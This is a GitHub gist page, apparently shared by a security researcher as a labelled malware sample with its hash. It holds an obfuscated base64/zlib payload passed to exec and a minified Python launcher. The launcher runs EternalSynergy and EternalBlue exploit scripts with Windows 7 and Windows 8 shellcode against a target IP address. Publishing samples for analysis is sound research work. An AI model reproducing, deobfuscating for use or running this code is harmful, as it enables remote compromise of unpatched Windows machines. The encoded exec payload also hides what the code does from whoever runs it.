Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnLaTwC/6c9b53b8e2f6074eced6cf573110d83e to your computer and use it in GitHub Desktop.
Save JohnLaTwC/6c9b53b8e2f6074eced6cf573110d83e to your computer and use it in GitHub Desktop.
Python nested malware
##############################
## uploaded by @JohnLaTwc
## b454179c13cb4727ae06cc9cd126c3379e2aded5c293af0234ac3312bf9bdad2
import zlib, base64
exec(zlib.decompress(base64.b64decode('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')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
import logging
import re
import sys
import threading
if sys.version_info[0]<3:
import subprocess32 as subprocess
else:
import subprocess
python_executable=None
instance_timeout=120
with open("data/shellcode_win7","rb")as f:
shellcode_win7=f.read()
with open("data/shellcode_win8","rb")as f:
shellcode_win8=f.read()
result_pattern=re.compile("Result : ([^,]*), ([^\r\n]*)\r?\n")
def n(ip):
try:
output=subprocess.check_output((python_executable,"a1.py",ip,'data/shellcode_win7'),start_new_session=True,timeout=instance_timeout)
m=result_pattern.search(output)
if m:
success,reason=True if m.group(1)=="True" else False,m.group(1)
return success,reason
except Exception as e:
logging.error("Exception (%s) : %s"%(type(e),e.args))
return False,"Exception "
def U(ip):
try:
output=subprocess.check_output((python_executable,"a2.py",ip,'data/shellcode_win8'),start_new_session=True,timeout=instance_timeout)
m=result_pattern.search(output)
if m:
success,reason=True if m.group(1)=="True" else False,m.group(1)
return success,reason
except Exception as e:
logging.error("Exception (%s) : %s"%(type(e),e.args))
return False,"Exception "
def K(ip):
try:
output=subprocess.check_output((python_executable,"a0.py",ip),start_new_session=True,timeout=instance_timeout)
m=result_pattern.search(output)
if m:
success,reason=True if m.group(1)=="True" else False,m.group(2)
return success,reason
except Exception as e:
logging.error("Exception (%s) : %s"%(type(e),e.args))
return False,"Exception"
def P(ip):
success,reason=K(ip)
if success:
return True,"eternalsynergy : "+reason
success,reason=n(ip)
if success:
return True,"EternalBlue for win7 : "+reason
elif "Target not supported : " in reason:
if reason or "Windows 8" in reason and "Windows 8.1" not in reason:
return False,"target may be vulnerable, but not ever successfully tested, so skipped."
success,reason=U(ip)
if success:
return True,"EternalBlue for win8 : "+reason
return False,"All exploit failed."
def L():
import argparse
parser=argparse.ArgumentParser()
parser.add_argument('ip')
parser.add_argument('--python-path',default='C:\\Python27\\python.exe')
parser.add_argument('--log-level',default='INFO')
return parser.parse_args()
if __name__=="__main__":
args=L()
logging.basicConfig(level=getattr(logging,args.log_level.upper()))
ip=args.ip
python_executable=args.python_path
P(ip)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment